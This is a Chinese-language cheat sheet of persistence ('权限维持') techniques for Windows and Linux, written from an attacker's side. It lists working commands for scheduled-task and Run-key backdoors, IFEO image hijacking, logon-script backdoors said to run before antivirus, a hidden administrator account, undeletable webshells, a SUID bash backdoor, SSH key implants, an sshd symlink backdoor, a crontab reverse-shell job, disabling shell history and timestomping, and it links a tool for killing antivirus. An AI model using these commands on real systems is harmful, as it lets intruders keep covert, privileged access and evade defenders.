windows权限维持
计划任务
不多说了
schtasks /create /tn "updatex" /tr C:\Users\Administrator\Desktop\backdoor.exe /rl highest /F /sc hourly /mo 4 /RU system
开机自启项
在注册表中添加开机自启键值对
reg add "HKEY_CURRENT_USER\software\microsoft\windows\CurrentVersion\Run" /v myPersist /t reg_sz /d "C:\Users\Administrator\Desktop\persist.exe"
后门隐藏
attrib +s +a +h +r [文件夹]
+s:系统
+h:隐藏
+r:只读
加上s属性后,文件会进一步被隐藏(打开查看隐藏文件都看不见),只有使用 dir - h(ls -h) 等才能看见。当文件被加上s属性后,后续操作可能没有足够的权限取操作,需要先去掉s属性才能进行后续的操作。
我们还可以将这个文件夹名称进一步改为以下代码
我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D}
回收站.{645ff040-5081-101b-9f08-00aa002f954e}
拔号⽹络.{992CFFA0-F557-101A-88EC-00DD010CCC48}
打印机.{2227a280-3aea-1069-a2de-08002b30309d}
控制⾯板.{21ec2020-3aea-1069-a2dd-08002b30309d}
⽹上邻居.{208D2C60-3AEA-1069-A2D7-08002B30309D}
这样当我们双击这个文件夹时,他会像对应的文件一样打开
畸形目录防删
mkdir vaeky...\ 在命令行中将文件移入vaeky...\的目录中,某些操作不能对其作用,如 cd,dir等 ,但可以 copy 文件进去,或者直接查看文件
删除文件夹
rd /s /q vaeky...\
系统保留字文件
利用系统保留文件名创建无法删除的webshell,
Windows 下不能够以下面这些字样来命名文件/文件夹,
包括:aux,com1,com2,prn,con和nul等,
但是通过cmd下是可以创建此类文件夹的,使用copy命令即可实现:
创建 “ copy c.txt \\.\C:\Users\xx\Desktop\T\com1.asp ”
读取 “ type \\.\C:\Users\xx\Desktop\T\com1.asp”
映像劫持
“映像劫持”,也被称为 “IFEO”(Image File Execution Options)。通过修改“Debugger“项值,替换执行程序,加以利用。映像劫持其实是Windows内设的用来调试程序的功能,但是现在却往往被病毒恶意利用。当用户双击对应的程序后,操作系统就会给外壳程序(例如“explorer.exe”)发布相应的指令,其中包含有执行程序的路径和文件名,然后由外壳程序来执行该程序。事实上在该过程中,Windows还会在注册表的上述路径中查询所有的映像劫持子键,如果存在和该程序名称完全相同的子键,就查询对应子健中包含的“dubugger”键值名,并用其指定的程序路径来代替原始的程序,之后执行的是遭到“劫持”的虚假程序
也就是我点a.exe却运行了b.exe
例子
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "C:\Windows\System32\calc.exe"
calc劫持notepad
logon scripts 后门
Windows 登录脚本,当用户登录时触发,Logon Scripts 能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截。
注册表位置:HKEY_CURRENT_USER\Environment
REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Administrator\Desktop\poc.exe"
创建隐藏账号
net user hacker$ 123456 /add
net localgroup administrators hacker$ /add
这样的话在net user 命令行中是看不见这个账号的,但是 net localgroup administrators 可以查看到
我们可以进一步用修改注册表的方式隐藏-------https://cloud.tencent.com/developer/article/1665356
干掉杀软
https://github.com/Yaxser/Backstab
组策略后门
相对来说,组策略后门更加隐蔽。
往册表中添加相应键值实现随系统启动而运行是木马常用的伎俩,也为大家所熟知。
其实,在组策略中也可以实现该功能,不仅如此它还可以实现在系统关机时进行某些操作。
这就是通过最策略的“脚本(启动/关机)”项来说实现。
具体位置在 “计算机配置→Windows设置” 项下。因为其极具隐蔽性,因此常常被攻击者利用来做服务器后门。
内存马
linux权限维持
修改文件属性
touch -r index.php shell.php
给某个用户添加sudo
sudo usermod -aG sudo vaeky(对应的用户名)
文件锁定
在Linux中,使⽤chattr命令来防⽌root和其他管理⽤户误删除和修改重要⽂件及⽬录,
此权限⽤ls -l是查看不出来的,从⽽达到隐藏权限的⽬的。
chattr +i evil.php #锁定⽂件
rm -rf evil.php #提示禁⽌删除
lsattr evil.php #属性查看
chattr -i evil.php #解除锁定
rm -rf evil.php #彻底删除⽂件
临时关闭操作命令的记录
[space]set +o history #[space]表示空格。并且由于空格的缘故,该命令本身也不会被记录,所以不怕麻烦也可以每个命令前都添加一个空格
SUIDbash
使用root用户执行以下命令,来留存一个后门
cp /bin/bash /tmp/.文件名
chmod 4755 /tmp/.文件名
ls -al /tmp/.文件名
/tmp/.文件名 -p
私钥后门
在攻击机器上执行命令“ sudo ssh-keygen -t rsa ”,然后一路回车。
生成两个文件,
/root/.ssh/id_rsa 、、私钥
/root/.ssh/id_rsa.pub 、、公钥
接着执行下边这个语句,输入目标机器root的账户密码。
ssh-copy-id -i id_rsa.pub 远程服务器IP
在之后直接输入“ ssh 目标机器的IP ”即可直接连接。
软连接后门
利用语句为:
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=端口号
我们通过“ find /etc/pam.d|xargs grep "pam_rootok" ”得知还有很多程序可以使用,
、、注意:这些文件不同的系统可能会有略微的差别
/etc/pam.d/chsh
/etc/pam.d/chfn
/etc/pam.d/su
/etc/pam.d/runuser
我们也可以改为:
ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oPort=端口号
记得端口不能被防火墙屏蔽掉,然后攻击机器直接,
ssh [email protected] -p 端口号
计划任务后门
每个用户都会生成一个与自己同名的crontab文件位于/var/spool/cron/crontabs/中,比如root用户的计划任务就在/var/spool/cron/crontabs/root中
crontab -l的本质 == cat /var/spool/cron/crontabs/xxxx
步骤:
写一个backdoor.sh,内容为反弹shell。
我们用crontab -e进入当前用户的工作表编辑,是常见的vim界面。每行是一条命令。
插入自己想要执行的计划任务
插入格式为 时间格式+任务(时间格式生成
例子:1-2 * * * * ? /tmp/backdoor.sh
最后重启服务 service crond restart